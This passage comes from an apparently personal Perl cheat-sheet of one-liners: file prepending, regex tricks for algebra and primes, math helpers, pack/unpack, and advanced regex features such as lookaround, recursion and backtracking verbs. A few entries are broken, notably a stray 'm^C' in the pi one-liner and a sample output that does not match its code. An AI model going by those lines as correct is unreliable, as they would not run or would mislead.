perl -i -lne 'INIT{$m=`cat marking.txt`} print "$m" if $. == 1; close ARGV if eof; print' file*
#
# Slurps entire file
perl -i -lp0777e 'INIT{$m=`cat marking.txt`} print "$m"' file*
#
# Many system calls
perl -i -0pe 's/^/`cat marking.txt`/e' file1 file2
#
# Cached file content (seems to be like slurp mode)
perl -i -0pe 'INIT{$m=`cat marking.txt`} print $m' file1 file2
# GS2 par.txt into a data structure that can be evaled later
cat par.txt | perl -MData::Dumper -ln00e 'next if /^-/; my($t,@c)=split "\n"; $h{$t}=\@c }{ $d=Data::Dumper->new([\%h]); print $d->Terse(1)->Indent(1)->Deparse(1)->Purity(1)->Sortkeys(1)->Dump' > C
#############################################################
## Perl Math
#############################################################
# solve for 12x + 15y + 16z = 281 (perl,regex)
# maximizing x
local $_ = 'a' x 281;
my $r = qr{^
(a*)\1{11}
(a*)\2{14}
(a*)\3{15}
$}x;
printf "x=%i y=%i z=%i\n",
map{length}/$r/;
__END__
x=17 y=3 z=2
# Solve an algebra problem. get all solutions to: 3x + 4y + 5z = 100
perl -lE '("a"x100) =~ /^(a*)\1{2}(a*)\2{3}(a*)\3{4}$(?{ printf "3x+4y+5z=100 (x=%s,y=%s,z=%s)\n", map{length}($1,$2,$3) })(*F)/'
# Solve an algebra problem. get all solutions to: 3x + 4y + 5z = 20
perl -lE '("a"x20) =~ /^(a*)\1{2}(a*)\2{3}(a*)\3{4}$(?{ printf "3x+4y+5z=20 (x=%s,y=%s,z=%s)\n", map{length}($1,$2,$3) })(*F)/'
# View all the permutations of a list (List::Permutor)
perl -le '@a=qw(a b c); @rv=(0..$#a); sub n{@ret=@a[@rv]; @h=@rv; @t=pop @h; push @t,pop @h while @h and $h[-1]>$t[-1]; if(@h){ $x=pop @h; ($p)=grep{$x<$t[$_]}0..$#t; ($x,$t[$p])=($t[$p],$x); @rv=(@h,$x,@t) }else{ @rv=() } @ret} print "@n" while @n=n'
# Find the prime numbers
#
# Generate numbers
n=`perl -le 'print for 1..100'`
#
# Simple and incomplete (will report 0 and 1 as prime. they are not prime by definition)
echo "$n" | perl -nle 'sub is_prime{("N" x shift) !~ /^ (NN+?) \1+ $/x} print if is_prime($_)'
#
# Disallow 0 and 1
echo "$n" | perl -nle 'sub is_prime{("N" x shift) !~ /^ N? $ | ^ (NN+?) \1+ $/x} print if is_prime($_)'
echo "$n" | perl -nle 'sub is_prime{("N" x shift) !~ /^(?:N?|(NN+?)\1+)$/} print if is_prime($_)'
#
# "N" to 1
echo "$n" | perl -nle 'sub is_prime{(1 x shift) !~ /^ 1? $ | ^ (11+?) \1+ $/x} print if is_prime($_)'
echo "$n" | perl -nle 'sub is_prime{(1 x shift) !~ /^1?$|^(11+?)\1+$/} print if is_prime($_)'
echo "$n" | perl -nle 'sub is_prime{(1 x shift) !~ /^(?:1?|(11+?)\1+)$/} print if is_prime($_)'
#
# Deparse commands
echo "$n" | perl -MO=Deparse -nle 'sub is_prime{("N" x shift) !~ /^ (NN+?) \1+ $/x} print if is_prime($_)'
#
# Debug Regex 1
echo "$n" | perl -nle 'sub is_prime{($n)=@_; ("N" x $n) !~ /^ (NN+?) (?{ print "Trying: $n. Grouping by: $^N" }) \1+ $/x} is_prime($_); print ""'
#
# Debug Regex 2
echo "$n" | perl -Mre=debug -nle 'sub is_prime{("N" x shift) !~ /^ (NN+?) \1+ $/x} print if is_prime($_)'
# Calculate pi using the formula:
# pi = SUMMATION(x:0.5 to 0.5): 4 / (1 + x^2)
perl -le '$int = 5; $h = 1/$int; for m^C$i(1..$int){ my $x = $h * ($i - 0.5); $sum += 4 / (1 + $x**2) }; $pi = $h * $sum; print $pi'
# Example of having true value that is numerically 0.
# Documented in: perldoc perlfunc
# Can also use "0E0".
perl -wE '
$_ = "0 but true";
printf "numeric=%d, bool=%s string=%s\n",
0+$_,
!!$_,
"".$_;
'
numeric=0, bool=1 string=0 but true
# Special string to represent infinity.
perl -E 'say "nan" == "nan"' # false
perl -E 'say "nan" eq "nan"' # true
perl -E 'say "Inf" + 1'
# Inf and Infinity are similar.
perl -E 'say "Inf" == "Inf"' # 1
perl -E 'say "Inf" == "Infinity"' # 1
perl -E 'say "Infinity" == "Infinity"' # 1
# v5.32 allows chaines comparisons.
# The comparison variable is evaluated only once.
perl -E 'say 1 < 2 < 3 < 4' # 1
perl -E 'say 1 < 2 < 3 == 4' # ""
# Can use eval in perl for doing basic arithmetic (math)
for(qw (+ - * /)){
my $exp = "3 $_ 3";
my $ans = eval "$exp";
print "$exp = $ans\n";
}
# In perl to get the log of another base,
# use basic algebra: the base-N log
# of a number is equal to the
# natural log of that number divided
# by the natural log of N. For example:
sub log10 {
my $n = shift;
return log($n)/log(10);
}
# Perl Math
# For other bases, use the mathematical
# identity: log
# log_B(N) = log_e(N) / log_e(B)
# where x is the number whose logarithm you want,
# n is the desired base, and e is the natural
# logarithm base.
sub log_base {
my ($base, $value) = @_;
return log($value)/log($base);
}
# Calculate GCD and LCM using euclids formula.
perl -E '
$_m = $m = 35;
$_n = $n = 20;
while ( 1 ) {
say "$m, $n, ", ($_m * $_n / $m);
last if !$n;
($m,$n) = ($n, $m % $n);
}
'
35, 20, 20
20, 15, 35
15, 5, 46.6666666666667
5, 0, 140
# Factorial recursive.
perl -E 'sub factorial { my ($n) = @_; return 1 if $n <= 1; $n * factorial($n-1) } say factorial(4)'
24
# Factorial non-recursive.
perl -E 'sub factorial { my ($n) = @_; my $f = 1; $f *= $_ for 1..$n; $f } say factorial(4)'
24
perl -E 'sub factorial { my ($n) = @_; my $f = 1; $f *= $n-- while $n > 1; $f } say factorial(4)'
24
#############################################################
## Perl Math - Trigonometry
#############################################################
# Generate a sine/cosine wave.
perl -E 'my $i=0; while(1) { my $sin = sin $i; my $cos = cos $i; my @spots = map { int($_*20+20) } $sin, $cos; my $dots = " " x 40; substr $dots, $_, 1, "." for @spots; say "$dots [$i] @spots"; $i+=0.25; last if $i > 100 }'
. . [0] 20 40
. . [0.25] 24 39
. . [0.5] 29 37
.. [0.75] 33 34
. . [1] 36 30
. . [1.25] 38 26
. . [1.5] 39 21
. . [1.75] 39 16
. . [2] 38 11
. . [2.25] 35 7
. . [2.5] 31 3
. . [2.75] 27 1
. . [3] 22 0
. . [3.25] 17 0
. . [3.5] 12 1
. . [3.75] 8 3
. . [4] 4 6
. . [4.25] 2 11
. . [4.5] 0 15
. . [4.75] 0 20
. . [5] 0 25
. . [5.25] 2 30
. . [5.5] 5 34
. . [5.75] 9 37
. . [6] 14 39
. . [6.25] 19 39
. . [6.5] 24 39
#############################################################
## Perl Monitor File Activity
#############################################################
# Create a basic loading hour glass (status bar) (incomplete)
perl -e '$|++; sub p{select undef,undef,undef,0.25} while(`ps -elf | grep watch | grep junk | grep -v $$`){ print "a"; p; print "\b"; p; print "b"; p; print "\b"; p }'
# Create a basic loading hour glass (status bar) Percentage (incomplete)
perl -e '$|++; sub p{select undef,undef,undef,0.5} sub c{print "\b\b\b \b\b\b"} while(`ps -elf | grep watch | grep junk | grep -v $$`){ print "50%"; p; c; print "75%"; p; c; p }'
# Repeat something over and over. use modulus (cycle through)
perl -le '@a=qw/a b c/; print($a[$i++ % @a]),sleep 1 while 1'
# Create a basic loading hour glass (status bar)
perl -e '$|++; sub p{select undef,undef,undef,0.5} sub c{print "\b"} @a=qw( | / - \\ ); while(`ps -elf | grep watch | grep junk | grep -v $$`){ c; print $a[$i++ % @a]; p }'
# Create a basic loading hour glass (status bar) (what to monitor is taken from input)
perl -e '$|++; sub p{select undef,undef,undef,0.5} sub b{print "\b \b"} @a=qw( | / - \\ ); $c=shift; while(eval "`$c`"){ print $a[$i++ % @a]; p; b } print "\n"' 'ps -elf | grep watch | grep junk | grep -v $$'
# Function to print to the same line (loading glass).
sub _SingleLinePrint {
my ( $Self, $LineRaw ) = @_;
my $Line = $Self->_ReplaceColorTags($LineRaw);
my $Length = length($Line);
print "\b" x $Length;
print " " x $Length;
print "\b" x $Length;
print $Line;
return;
}
#############################################################
## Perl Pack
#############################################################
# Check perldoc perlpacktut
# Using pack tutorial
perl -le "print qq([$_]) for unpack 'x3 A2 x4 A3 x4 A2', 'To BE or not to be'"
# Convert a string to its ascii values
perl -le 'print "[$_]" for unpack "C*", "ABC"'
# Convert ascii values to string characters
perl -le 'print "[$_]" for pack "C*", 65,66,67'
perl -le 'print "[$_]" for pack "C*", hex(41),66,67'
# Convert hexidecimal to decimal
perl -le 'print "[$_]" for pack "H*", "41"'
# Pack/convert ordinals to a string of aschii values
perl -le '@mem=(65,66,67); print for pack "C*",@mem'
# Unpack a string into its ordinal values
perl -le '$mem="ABC"; print for unpack "C*",$mem'
# Data selection. alternative to substr. Use to column splitting when spaces do not necessary delimit
perl -le '($what,$where,$howmuch)=@ARGV; print unpack "x$where A$howmuch", $what' "[abc def][hij][klm]" 1 7
# sprintf versus pack, unpack.
# These are same.
perl -E 'say for unpack "H*", pack "C*", 100'
perl -E 'printf "%x\n", 100'
64
#############################################################
## Perl PAUSE Account
#############################################################
# Upload to pause server without a browser.
# 1. Need to file create a .pause file
# 2. Install required modules:
cpanm CPAN::Uploader
cpanm Config::Identity
cpan-upload my_module.tar.gz
#############################################################
## Perl Regular Expressions - General
#############################################################
# Match a number followed by an equal amount of another number
# Dynamic recursive regex
perl -le '$r=qr/0(??{$r})?1/; print "001" =~ $r ? "PASS" : "FAIL"'
#
# Just dynamic
perl -le '$r=qr/0(??{1 x (length $1)})/; print "000111" =~ /^$r$/ ? "PASS" : "FAIL"'
#
# Pattern group (?PARNO)
perl -le '$r=qr/(0(?1)?1)/; print "0011" =~ /^$r$/ ? "PASS" : "FAIL"'
# Perl regex optimization working
echo "line1 Liine2" | perl -nle '$r=qr[(?s-xim:line1(?{print"got line1\n"}).*?line2(?{print"got line2\n"}))]; /$r/'
# Perl regex optimization is supressed (with either character class or Dynamic Regex Construct)
echo "line1 Liine2" | perl -nle '$r=qr[(?s-xim:line1(?{print"got line1\n"}).*?[Ll]ine2(?{print"got line2\n"}))]; /$r/'
echo "line1 Liine2" | perl -nle '$r=qr[(?s-xim:line1(?{print"got line1\n"}).*?(??{line2})(?{print"got line2\n"}))]; /$r/'
# Global match in JavaScript, but all return all captures. /(.*?)/g
regex = /<script[^>]*>(?<s>.*?)<\/script>/g
str = "blah<script>111</script><script>222</script><script>333</script>blah2"
while(my = regex.exec(str)){ console.log(my[1]) }
# Remove control characters
perl -E '$c = "\e[31mHERE\e[0m"; $c =~ s&\p{PosixCntrl}&*&g; say $c'
# \p{PosixCntrl} - ASCII-range Unicode.
# \p{XPosixCntrl} - Full-range Unicode.
# Named captures affect %+ and %+, but ALSO $1,$2
perl -Mojo -E '"abc" =~ /(?<first>.)(?<second>.)(?<third>.)/; say r \%-; say r \%+; say "1:$1"; say "2:$2"; say "3:$3"'
# Using /a flag to limit to ascii.
perl -C -E 'say "\N{BENGALI DIGIT FOUR}"' # ৪
perl -C -E 'say "\N{BENGALI DIGIT FOUR}" =~ /\d/' # 1
perl -C -E 'say "\N{BENGALI DIGIT FOUR}" =~ /\d/a' # ""
perl -C -E 'say 0+"\N{BENGALI DIGIT FOUR}"' # 0
# CAUTION: regex variables get reset on the next successful match.
perl -E '"abc" =~ /(.*)/; say "[$1]"; 123 =~ /1/; say "[$1]"'
[abc]
[]
#
# Also a function passes in its variables by reference.
# @_ is an alias to the arguments.
perl -E 'sub f { $_[0] = "new" } my $v = "old"; f($v); say $v'
new
#
# This can lead to input suddenly disappearing
# or changing when using unquoted regex variables.
perl -E 'sub f{ say "f(@_)" } "abc" =~ /(.*)/; f($1)'
F1(abc) # Bad, but still works.
perl -E 'sub f{ 123 =~ /1/; say "F1(@_)" } "abc" =~ /(.*)/; f($1)'
F1() # BAD, $1 gets changed.
perl -E 'sub f{ 123 =~ /1/; say "f(@_)" } "abc" =~ /(.*)/; f("$1")'
f(abc) # Correct way: quote "$1"
#############################################################
## Perl Regular Expressions - Best Practices
#############################################################
# Perl Regular Expressions - Best Practices
# No free lunch
# Optimizations often result in a savings, but not
# always. There’s a benefit only if the amount of
# time saved is more than the extra time spent
# checking to see whether the optimization is
# applicable in the first place.
#
# In fact, if the engine checks to see if an
# optimization is applicable and the answer is
# “no,” the overall result is slower because it
# includes the fruitless check on top of the
# subsequent normal application of the regex.
#
# So, there’s a balance among how much time an
# optimization takes, how much time it saves,
# and importantly, how likely it is to be invoked.
# Perl Regular Expressions - Best Practices
# Say what you mean
# The problem is that the first.+" matches past
# the backslash, pulling it out from under the
# (\\ \n.+)+" that we want it to be matched by.
#
# Well, here’s the first lesson of the chapter:
# if we don’t want to match past the backslash,
# we should say that in the regex.
#
# We can do this by changing each dot to:
[ˆ\n \\].
#############################################################
## Perl Regular Expressions - Bugs
#############################################################
# Perl Regular Expressions - Bugs
# // means to mast the last successive pattern.
# If none, then would match empty.
# Explicitly use /(?:)/ for empty instead.
# https://perldoc.perl.org/perlop#The-empty-pattern-//
#
# Avoid using single variable directly in regex (like $want below):
perl -E '$want = ""; say "Found: $1" if "catnip" =~ /(...)/i; say "Found again: $1" if "dognip" =~ /$want/; say ${^LAST_SUCCESSFUL_PATTERN}'
Found: cat
Found again: dog
(?^ui:(...))
#
# Better to use qr{}:
perl -E '$want = qr{}; say "Found: $1" if "catnip" =~ /(...)/i; say "Found again: $1" if "dognip" =~ /$want/; say ${^LAST_SUCCESSFUL_PATTERN}'
Found: cat
Found again:
(?^u:)
#############################################################
## Perl Regular Expressions - Captures
#############################################################
# Perl Regular Expressions - Captures
Some examples:
/(\d)(\d)/ # Match two digits, capturing them into $1 and $2
/(\d+)/ # Match one or more digits, capturing them all into $1
/(\d)+/ # Match a digit one or more times, capturing the last into $1
# Perl Regular Expressions - Captures
# To avoid this ambiguity, refer to a capture group by its number using \g{NUMBER}, and to an octal character by number using \o{OCTNUM}.
# So \g{11} is always the 11th capture group, and \o{11} is always the character whose codepoint is octal 11
# Perl Regular Expressions - Captures
# branch reset
m{
(?|
(\d+) \s+ (\pL+) # these are $1 and $2
|
(\pL+) \s+ (\d+) # and so is this pair!
)
}x
#############################################################
## Perl Regular Expressions - Character Classes
#############################################################
# Perl recognizes the following POSIX character classes ([[:ascii:]]):
# https://perldoc.perl.org/perlrecharclass#POSIX-Character-Classes
#
alpha Any alphabetical character (e.g., [A-Za-z]).
alnum Any alphanumeric character (e.g., [A-Za-z0-9]).
ascii Any character in the ASCII character set.
blank A GNU extension, equal to a space or a horizontal tab ("\t").
cntrl Any control character. See Note [2] below.
digit Any decimal digit (e.g., [0-9]), equivalent to "\d".
graph Any printable character, excluding a space. See Note [3] below.
lower Any lowercase character (e.g., [a-z]).
print Any printable character, including a space. See Note [4] below.
punct Any graphical character excluding "word" characters. Note [5].
space Any whitespace character. "\s" including the vertical tab ("\cK").
upper Any uppercase character (e.g., [A-Z]).
word A Perl extension (e.g., [A-Za-z0-9_]), equivalent to "\w".
xdigit Any hexadecimal digit (e.g., [0-9a-fA-F]). Note [7].
# Compare perl regular expresion character classe styles.
#
[[:...:]] ASCII-range Full-range backslash Note
Unicode Unicode sequence
-----------------------------------------------------
alpha \p{PosixAlpha} \p{XPosixAlpha}
alnum \p{PosixAlnum} \p{XPosixAlnum}
ascii \p{ASCII}
blank \p{PosixBlank} \p{XPosixBlank} \h [1]
or \p{HorizSpace} [1]
cntrl \p{PosixCntrl} \p{XPosixCntrl} [2]
digit \p{PosixDigit} \p{XPosixDigit} \d
graph \p{PosixGraph} \p{XPosixGraph} [3]
lower \p{PosixLower} \p{XPosixLower}
print \p{PosixPrint} \p{XPosixPrint} [4]
punct \p{PosixPunct} \p{XPosixPunct} [5]
\p{PerlSpace} \p{XPerlSpace} \s [6]
space \p{PosixSpace} \p{XPosixSpace} [6]
upper \p{PosixUpper} \p{XPosixUpper}
word \p{PosixWord} \p{XPosixWord} \w
xdigit \p{PosixXDigit} \p{XPosixXDigit} [7]
# Perl Regular Expressions - Character Classes
# In perl these are the meanings of these backslash classes:
#
# ASCII Range:
\w Matches [a-zA-Z0-9_]. No Unicode chars.
\p{PosixWord} Equivalent to \w. Matches [a-zA-Z0-9_].
#
# Unicode Range:
\p{Word} Matches any Unicode "Word" character.
\p{XPosixWord} Matches any Unicode "Word" character.
\p{XPOSIXWORD} Case-insensitive alias for \p{XPosixWord}.
#############################################################
## Perl Regular Expressions - Commafy
#############################################################
# Perl Regular Expressions - Commafy example.
my @nums = qw(
1
1234
1234.
1234.1234
1234567
1234567.12345
-1234
-12
$123
$1234
$123456.1234
-$123456.1234
);
my $regex = qr{
(?<!\.) # can't be a period before
(?:\b|\G) # can't float
\d+? # at least one digit before
\K # ignore previous
(?=(?:\d\d\d)+\b)
}x;
for(@nums){
my $before = $_;
s/$regex/,/g;
printf "%-15s -> [%s]\n", $before, $_;
}
__END__
1 -> [1]
1234 -> [1,234]
1234. -> [1,234.]
1234.1234 -> [1,234.1234]
1234567 -> [1,234,567]
1234567.12345 -> [1,234,567.12345]
-1234 -> [-1,234]
-12 -> [-12]
$123 -> [$123]
$1234 -> [$1,234]
$123456.1234 -> [$123,456.1234]
-$123456.1234 -> [-$123,456.1234]
#############################################################
## Perl Regular Expressions - Debugging
#############################################################
# Perl Regular Expressions - Debugging
# Use as: _log("here")
sub _log {
my ( $msg ) = @_;
printf("$msg %s%s%s\n",
dye( $`, "GREEN" ),
dye( $&, "RED" ),
dye( $', "YELLOW" ),
);
}
#############################################################
## Perl Regular Expressions - Extended
#############################################################
# Inside (?{}) regex code, $_ is set to the string value.
perl -E 'say 123 =~ /\d \d (?{ say "[$_] " . pos}) /x'
[123] 2
1
# \G to make sure pattern starts at previous location.
# /gc to continue in case of failure.
perl -E '$_ = "abc123"; say $1 if /\G(ab)/gc; say $1 if /\G([a-z]+\d)/gc; say $1 if /(\d+)/gc'
ab
c1
23
# Pos is only affected by /g or /gc.
perl -E '$_ = "abc123"; say $1 if /\G(ab)/gc; say $1 if /\G([a-z]+\d)/gc; say pos; /.+/; say pos; say $1 if /(\d+)/gc'
ab
c1
4
4
23
# Perl Regular Expressions - Extended
# https://perldoc.perl.org/perlretut#Using-independent-subexpressions-to-prevent-backtracking
#
# Possesive quantifier, atomic sub expression,
# and previous global match anchor.
perl -E '$_ = "ab"; say 11 if /a*ab/'
11
perl -E '$_ = "ab"; say 11 if /a*+ab/'
perl -E '$_ = "ab"; say 11 if /(?>a*)ab/'
#
# Control verb in v5.32
perl -E '$_ = "ab"; say 11 if /(*atomic:a*)ab/'
#
# Similar to having 2 separate expressions:
perl -E '$_ = "ab"; say 11 if /a*/g; say 22 if /\Gab/'
11
perl -E '$_ = "ab"; say 11 if /a*/g; say 22 if /\Gab/g'
11
# Perl Regular Expressions - Extended
# Using local versus lexical in code eval.
perl -E '$_ = "aaa"; $c = 0; / ^ (?: a (?{ $c++ }) )* $ /x; say "Found $c a"'
Found 3 a
#
# WRONG!
perl -E '$_ = "aaab"; $c = 0; / ^ (?: a (?{ $c++ }) )* $ /x; say "Found $c a"'
Found 3 a
#
# Using local - more complicated, but works on failures.
perl -E '$_ = "aaa"; $c = 0; / ^ (?{ local $_c = 0 }) (?: a (?{ $_c++ }) )* $ (?{ $c = $_c }) /x; say "Found $c a"'
Found 3 a
perl -E '$_ = "aaab"; $c = 0; / ^ (?{ local $_c = 0 }) (?: a (?{ $_c++ }) )* $ (?{ $c = $_c }) /x; say "Found $c a"'
Found 0 a
#
# Using my - same:
perl -E '$_ = "aaa"; $c = 0; / ^ (?{ my $_c = 0 }) (?: a (?{ $_c++ }) )* $ (?{ $c = $_c }) /x; say "Found $c a"'
Found 3 a
perl -E '$_ = "aaab"; $c = 0; / ^ (?{ my $_c = 0 }) (?: a (?{ $_c++ }) )* $ (?{ $c = $_c }) /x; say "Found $c a"'
Found 0 a
#############################################################
## Perl Regular Expressions - Extended - Dynamic
#############################################################
# Perl Regular Expressions - Extended - Dynamic
# Dynamic regex and eval code are not working as first expected.
# Not like a closure.
perl -E '
use strict;
use warnings;
my $num = 111;
my $regex;
{
$num = 222;
$regex = qr{
(?{ say $num })
(??{ $num })
}x
}
$num = 333;
say "333" =~ /$regex/;
'
333
1
# Dynamic regex and eval code are not working as first expected.
# From function.
# Not like a closure.
perl -E '
use strict;
use warnings;
sub make {
my $num = 222;
my $regex = qr{
(?{ say $num })
(??{ $num })
}x
}
my $r = make(); say "333" =~ /$r/;
'
# Dynamic regex and eval code are not working as first expected.
# From different package function.
# Not like a closure.
perl -E '
use strict;
use warnings;
package P1;
sub make {
my $num = 222;
my $regex = qr{
(?{ say $num })
(??{ $num })
}x
}
package P2;
my $r = P1::make(); say "333" =~ /$r/;
'
# Dynamic regex and eval code are not working as first expected.
# Join re-evaluates a regex.
perl -E '
use re "eval"; use strict;
use warnings;
my $reg1;
my $reg2;
{
my $num = 111;
$reg1 = qr{ (??{ print $num; $num }) }x;
$num = 222;
$reg2 = qr{ (??{ print $num; $num }) }x;
}
my $regex_str = join "", $reg1, $reg2;
my $regex = qr{ ^ $regex_str $ }x;
say "222" =~ /$regex/;
'
Global symbol "$num" requires explicit package name (did you forget to declare "my $num"?) at (eval 1) line 1.
Global symbol "$num" requires explicit package name (did you forget to declare "my $num"?) at (eval 1) line 1.
Global symbol "$num" requires explicit package name (did you forget to declare "my $num"?) at (eval 1) line 1.
Global symbol "$num" requires explicit package name (did you forget to declare "my $num"?) at (eval 1) line 1.
# Dynamic regex and eval code are not working as first expected.
# This way is ok to use.
perl -E '
use strict;
use warnings;
my $reg1;
my $reg2;
{
my $num = 111;
$reg1 = qr{
(?{ say $num })
(??{ $num })
}x;
$num = 222;
$reg2 = qr{
(?{ say $num })
(??{ $num })
}x;
}
my $regex = qr{ $reg1 $reg2 }x;
say "222222" =~ /$regex/
'
222
222
1
#############################################################
## Perl Regular Expressions - Extended - $^R
#############################################################
# Perl Regular Expressions - Extended - $^R
# Example of using $^R to store sub matches.
perl -Me -e '$_ = "One fish two fish really red fish blue fish"; say "Before: ", $^R // "undef"; { local $^R = []; / ^ (?> \s*+ (?> (?<name>\w+) \s+ fish (?{ [ $^R->@*, $+{name} ] }) | (?: (?! \b fish \b ) . )*+ fish ) )+ /xg; p $^R; p \%+; p \%- }; say "After: ", $^R // " undef"'
Before: undef
[
[0] "One",
[1] "two",
[2] "blue",
]
{
name => "blue",
} (tied to Tie::Hash::NamedCapture)
{
name => [
[0] "blue",
],
} (tied to Tie::Hash::NamedCapture)
After: undef
# Perl Regular Expressions - Extended - $^R
# Failure reverts changes to scoped variables.
perl -Me -e '$_ = "One fish two fish really red fish blue fish"; say "Before: ", $^R // "undef"; { local $^R = []; / ^ (?> \s*+ (?> (?<name>\w+) \s+ fish (?{ [ $^R->@*, $+{name} ] }) | (?: (?! \b fish \b ) . )*+ fish ) )+ (*F) /xg; p $^R; p \%+; p \%- }; say "After: ", $^R // " undef"'
Before: undef
[]
{} (tied to Tie::Hash::NamedCapture)
{} (tied to Tie::Hash::NamedCapture)
After: undef
#############################################################
## Perl Regular Expressions - Lookaround
#############################################################
# variable length lookaround in any PCRE
# http://www.drregex.com/2019/02/variable-length-lookbehinds-actually.html?m=1
perl -E 'say "ABXXXCD" =~ /(?<=X+)/'
Lookbehind longer than 255 not implemented in regex m/(?<=X+)/ at -e line 1.
#
# Workaround:
perl -E '$r = qr/ (?=(?<a>[\s\S]*)) (?<b> X++ (?=\g{a}\z) | (?<= (?= x^ | (?&b) ) [\s\S] ) )/x; say "ABXXXCD" =~ $r'
perl -E '$r = qr/ (?=(?<a>(?s:.*))) (?<b> X++ (?=\g{a}\z) | (?<= (?= x^ | (?&b) ) (?s:.) ) )/x; say "ABXXXCD" =~ $r'
CD
#
# Explanation:
(?=(?'a'[\s\S]*)) # Capture the rest of the string in "a"
(?'b'
X(?=\k'a'\z) # Match X followed by the contents of "a" to ensure
# the emulated lookbehind stops at the correct point.
| # OR
(?<= # Look behind (one character) match either:
(?=
x^ # A contradiction; non-empty to appease the nanny
| # OR
(?&b) # Recurse (match X OR look behind (one character)) etc..
)
[\s\S] # How far we go back each step: one single character
)
)
# Lagging split using a lookaround.
perl -E 'say for "1234567890" =~ /(?=(...))/g'
123
234
345
456
567
678
789
890
# Lagging split using a lookaround into a table format.
perl -E '@a = "1234567890" =~ /(?=(..))/g; say for map { $a[$_+2] ? "@a[$_..$_+2]" : () } 0..$#a'
12 23 34
23 34 45
34 45 56
45 56 67
56 67 78
67 78 89
78 89 90
# Perl Regular Expressions - Lookaround
# Mimicking atomic grouping with positive lookahead.
# It’s perhaps mostly academic for flavors that
# support atomic grouping, but can be quite useful
# for those that don’t: if you have positive
# lookahead, and if it supports capturing
# parentheses within the lookahead (most flavors
# do, but Tcl’s lookahead, for example, does not),
# you can mimic atomic grouping and possessive
# quantifiers.
#
# (?>regex) can be mimicked with (?=(regex))\1.
# For example, compare these:
ˆ(?>\w+):
ˆ(?=(\w+))\1:
#############################################################
## Perl Regular Expressions - Loops
#############################################################
# Different ways to loop through and extract the 3rd match.
perl -E '$_ = "One fish two fish red fish blue fish"; say+( / (\S+) \s+ fish /xg )[2]'
red
perl -E '$_ = "One fish two fish red fish blue fish"; while ( / (\S+) \s+ fish /xg ) { if (++$c == 3) { say $1; last } }'
red
#############################################################
## Perl Regular Expressions - Modifiers
#############################################################
# Perl Regular Expressions - Modifiers
# The modifier flags can be scoped.
perl -E 'say 111 if "abc" =~ /ABC/'
perl -E 'say 111 if "abc" =~ /(?i)ABC/'
111
perl -E 'say 111 if "abc" =~ /((?i)AB)C/'
perl -E 'say 111 if "abc" =~ /((?i)ABC)/'
111
# Perl Regular Expressions - Modifiers
# These are similar (besides one captures)
perl -E 'say 111 if "abc" =~ /((?i)AB)C/'
perl -E 'say 111 if "abc" =~ /(?i:AB)C/'
# Expand variables in single quotes. (Regex,eval)
perl -E '
$AGE = 21;
$_ = q(I am $AGE years old);
s/(\$\w+)/$1/eeg;
say;
'
I am 21 years old
#############################################################
## Perl Regular Expressions - Parenthesis
#############################################################
# Perl Regular Expressions - Match Parenthesis
local $_ = 'foo(bar(this), 3.7) + 2 * (that - 1)';
my $r = qr {
(?&LOOP)
(?(DEFINE)
(?<LOOP>
\(
(?> [^()] | (?&LOOP) )*
\)
)
)
}x;
while (/\b (\w+ \s* ($r)) /x){
say $1;
$_ = $2;
}
#############################################################
## Perl Regular Expressions - Sets
#############################################################
# Any number but 5 (regex sets,char class).
# https://perldoc.perl.org/perlrecharclass#Extended-Bracketed-Character-Classes
perl -E 'say for map { "$_: " . /^ (?[ \d - [5] ])+ $/x } qw/ 12 15 18 /'
perl -E 'say for map { "$_: " . /^ [0-46-9]+ $/x } qw/ 12 15 18 /'
perl -E 'say for map { "$_: " . (/^\d+$/ && !/5/) } qw/ 12 15 18 /'
12: 1
15:
18: 1
#############################################################
## Perl Regular Expressions - Subpatterns
#############################################################
# Create a subpattern using:
# (?(DEFINE)
# (?<name>pattern)
# )
# It is recommended that for this usage you put the DEFINE
# block at the end of the pattern, and that you name any
# subpatterns defined within it.
#
# Then use it like:
# (?&name)
#
# Example:
perl -E '"look mk" =~ / (l (?&same_char) )k \s (.)k (?(DEFINE) (?<same_char> (.) \g{-1} ) ) /x; say "got: 1:$1, 2:$2, 3:$3, 4:$4"'
# Check for existence of a capture group.
# Can use either:
# - ({ exists $+{var} })
# - (?<var>IF|ELSE)
perl -E '
"abc" =~ /
(?{ say exists $+{var} ? 1 : 0 })
(?(<var>)
(?{ say "if" })
| (?{ say "else" })
)
(?<var> . )
(?{ say exists $+{var} ? 1 : 0 })
(?(<var>)
(?{ say "if" })
| (?{ say "else" })
)
/x
'
0
else
1
if
#############################################################
## Perl Regular Expressions - Verbs
#############################################################
# Perl regex verbs shoukd be benchmarked before
# being used since the additional compilation time
# might not justify the performance improvement.
# Great place to learn more about backtracking control verbs in regex.
# https://www.rexegg.com/backtracking-control-verbs.html
# Perl regex verb - ACCEPT (example)
perl -E '"0aaab" =~ / (?{ say pos . ":" }) 0* a+ (*ACCEPT) b? (?{ say " $&" }) (*FAIL) /x'
0:
# Perl regex verb - FAIL
# (?=^) matches after a newline.
perl -MEnglish -E 'qq(Aa\nBb\nCc) =~ / (?=^) (?{ say "|$PREMATCH<$MATCH>$POSTMATCH|\n" }) (*F) /smx'
# Perl regex verb - FAIL (example)
# Show all matches.
# Show when shifting position.
perl -E '"0aaab" =~ / (?{ say pos . ":" }) 0* a+ b? (?{ say " $&" }) (*FAIL) /x'
0:
0aaab
0aaa
0aa
0a
1:
aaab
aaa
aa
a
2:
aab
aa
a
3:
ab
a
# Perl regex verb - THEN (Level1,example)
# Mainly to speed up alternations.
# Otherwise it behaves like *PRUNE.
# Appently not necessary in perl due to other optimizations.
perl -E '"123ABC" =~ / 123 B | .{3} /x; say $&'
perl -E '"123ABC" =~ / 123 (*THEN) B | .{3} /x; say $&'
123
# Perl regex verb - PRUNE (Level2, example)
# Will not backtrack past that point.
# Goes right to next position.
# Similar to a possessive quantifier
perl -E '"123ABC" =~ / 123 (*PRUNE) B | .{3} /x; say $&'
23A
# Perl regex verb - SKIP (Level3, example)
# Like *PRUNE, but also advances the string position to after the failure.
perl -E '"123ABC" =~ / 123 (*SKIP) B | .{3} /x; say $&'
ABC
# Perl regex verb - COMMIT (Level4, example)
# All or nothing.
perl -E '"123ABC" =~ / 123 (*COMMIT) B | .{3} /x; say $&'
perl -E '"123ABC" =~ / 1 (*COMMIT) 23 (*PRUNE) B | .{3} /x; say $&'
# empty
#
# SKIP on right inhibits COMMIT.
perl -E '"123ABC" =~ / 1 (*COMMIT) 23 (*SKIP) B | .{3} /x; say $&'
ABC
# Perl regex verb - MARK,SKIP
